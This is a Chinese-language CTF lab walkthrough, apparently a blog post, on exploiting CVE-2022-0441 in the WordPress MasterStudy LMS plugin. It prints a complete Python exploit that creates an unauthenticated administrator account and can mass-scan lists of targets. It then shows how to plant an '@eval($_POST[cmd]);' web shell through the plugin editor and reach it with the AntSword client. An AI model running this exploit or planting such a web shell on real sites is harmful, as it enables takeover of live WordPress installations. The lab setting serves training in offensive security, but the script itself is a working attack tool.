1.阅读靶场介绍

这里我们可以看到的就是由于插件引发的漏洞
具体思路就是编写脚本插件,然后改为木马并且启用
最后完成中国蚁剑板块的websehll
带着这个思路我们开启征程吧
2.启动靶场
我们会得到如下页面

这里博主也有做额外的页面测试,没有得到一个有效的结果
这里我们直接拼接/admin去找到后台

相信很多彦祖和亦非们曾今都会卡在这里
无论是弱口令/空口令/还是暴力破解都得不到
有效的账号/密码去进入后台
这里博主是跑一个脚本去登入到后台的
各位可以参考参考
python
from cmath import exp
from urllib3.exceptions import InsecureRequestWarning
import concurrent.futures
import requests, re, argparse
def masterstudy(_target, _timeout=5):
_sessionget = requests.Session()
_headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36'
}
def save_result(_result):
_saved = open('RESULT-WPMS.txt', 'a+')
_saved.write(_result + '\n')
try:
_validationPlugins = _sessionget.get(url=_target, headers=_headers, allow_redirects=True, verify=False, timeout=_timeout)
if 'stm_lms_register' in _validationPlugins.text:
_getnonce = re.compile('stm_lms_register":"(.*?)(?:")')
_findnonce = _getnonce.findall(_validationPlugins.text)
print(_findnonce)
_data = '{"user_login":"david","user_email":"david@domainexample.com","user_password":"Admin@123","user_password_re":"Admin@123","become_instructor":"","privacy_policy":true,"degree":"","expertize":"","auditory":"","additional":[],"additional_instructors":[],"profile_default_fields_for_register":{"wp_capabilities":{"value":{"administrator":1}}}}'
_postExploit = _sessionget.post(url=_target + '/wp-admin/admin-ajax.php?action=stm_lms_register&nonce=' + _findnonce[0], headers=_headers, allow_redirects=True, data=_data, timeout=_timeout)
if '"status":"success"' in _postExploit.text and '"message":"' in _postExploit.text:
print('[-] ' + _target + 'wp-admin/ => Success')
_dataresult = _target + 'wp-admin/ | david | Admin@123'
save_result(_dataresult)
else:
print('[*] ' + _target + ' => Failed, try manual')
print(_postExploit.text)
save_result(_target)
else:
print('[+] ' + _target + ' Not found!')
except:
print('[%] ' + _target + ' Requests failed')
def main(_choose, _target):
if _choose == 1:
masterstudy(_target)
elif _choose == 2:
with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor:
_ur_list = open(_target, 'r').read().split()
_futures = []
for _url in _ur_list:
_futures.append(executor.submit(masterstudy, _target=_url))
for _future in concurrent.futures.as_completed(_futures):
if(_future.result() is not None):
print(_future.result())
else:
exit()
## SSL Bypass
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
## Setup args
_parser = argparse.ArgumentParser(description='CVE-2022-0441 [ WordPress Plugin MasterStudy LMS 2.7.5 - Unauthenticated Admin Account Creation ]')
_parser.add_argument('-t', metavar='example.com', type=str, help='Single target')
_parser.add_argument('-l', metavar='target.txt', type=str, help='Multiple target')
_args = _parser.parse_args()
## Variable args
_singleTarget = _args.t
_multiTarget = _args.l
if __name__ == '__main__':
if not _singleTarget == None:
_choose = 1
main(_choose, _singleTarget)
elif not _multiTarget == None:
_choose = 2
main(_choose, _multiTarget)
else:
print('MasterStudy.py --help for using tools')
使用idle(python编辑器)放上面的代码
然后用法如下,win+r然后cmd

这里的文件路径和url都是不一致的,各位需要对应修改

出现如下结果证明是成功的
然后我们跑回来登入界面
这里就可以用这个账号/密码:david@domainexample.com/Admin@123
去登入后台
这里我们需要点击更新哟

然后我们会进入一个这样的界面
如果卡在上面那个界面进不去的小伙伴们
这里要保持一直用https这个协议哟

下一步我们找到插件然后点击插件编辑器
如下图所示

这里我们点击我明白

接下里我们在右边那个地方选择这个选项

然后在左边的代码去输入如下代码
@eval($_POSTcmd);

然后这里需要点击更新文件

完成以后它会显示

然后我们回到已安装插件
找到你好多莉,点击启用
3.webshell环节
启动中国蚁剑
其中url路径为
https://eci-2ze9foj8a8eqorl8isl6.cloudeci1.ichunqiu.com/wp-admin/plugin-editor.php?file=hello.php



进去以后我们就可以很顺利的找到flag这个大宝贝了
到此相信聪明的亦非彦祖们又攻克一个靶场了
感谢你们宝贵的时间
创作不易,喜欢博主的各位帅哥美女们,期待你们的一键三连
有不懂欢迎留言,博主会一一解答哟
期待博主攻克任何靶场的也欢迎留言